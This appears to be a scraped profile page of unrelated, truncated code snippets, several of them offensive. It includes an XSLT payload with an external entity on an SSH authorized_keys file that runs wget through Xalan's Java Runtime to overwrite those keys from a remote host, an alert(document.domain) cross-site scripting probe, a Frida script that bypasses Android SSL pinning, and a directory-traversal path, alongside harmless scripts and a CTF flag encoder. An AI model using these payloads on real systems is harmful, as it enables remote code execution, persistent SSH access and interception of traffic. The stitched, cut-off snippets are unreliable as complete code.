numanturle

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "file:///home/xxx/.ssh/authorized_keys">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[wget http://xxxx/geldi -O /home/xxx/.ssh/authorized_keys]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>

numanturle

#!/bin/bash
# Simple bash script to restore visitor real IP under Cloudflare with Nginx
# Script also whitelist cloudflare IP with UFW (if installed)

if [ "$1" = "--ufw" ]; then
    CF_UFW_SETUP="y"
fi

if [ -z "$(command -v curl)" ]; then
    echo "####################################"

numanturle

$( document ).ready(function() {
	$.ajax({
			url:"/asd",
			method:"POST",
			async:true,
			xhr: function() {
				var xhr = jQuery.ajaxSettings.xhr();
				var setRequestHeader = xhr.setRequestHeader;
				xhr.setRequestHeader = function(name, value) {
					if (name == 'X-Requested-With') return;

numanturle

<style>
body {
	margin:0 auto;
	padding:0 auto;
}
span {
	float:left;
	margin:0;
	padding:0;

numanturle

alert(document.domain);

numanturle

<?php
function anim($msg, $time)
{
    $msg = str_split($msg);
    foreach ($msg as $ms) {
        echo $ms;
        usleep($time);
    }
}
anim("

numanturle

<?php
$flag = "SODERCTF[C0K_M7_K0L4Y_G3LcI_D3L1_Y1N3_1S_BaSINde_fanta_s3verim]";
function strigToBinary($string)
{
    $characters = str_split($string);

    $binary = [];
    foreach ($characters as $character) {
        $data = unpack('H*', $character);
        $binary[] = base_convert($data[1], 16, 2);

numanturle

Java.perform(function() {
            var array_list = Java.use("java.util.ArrayList");
            var ApiClient = Java.use('com.android.org.conscrypt.TrustManagerImpl');
            ApiClient.checkTrustedRecursive.implementation = function(a1, a2, a3, a4, a5, a6) {
                // console.log('Bypassing SSL Pinning');
                var k = array_list.$new();return k;
                }
            }, 0);

numanturle

/../../../../../../../../../../../.././/etc/telephonyProfiles.d/build_date

numanturle

cat a | tr " " "\n" | uniq | sed '/^[[:space:]]*$/d'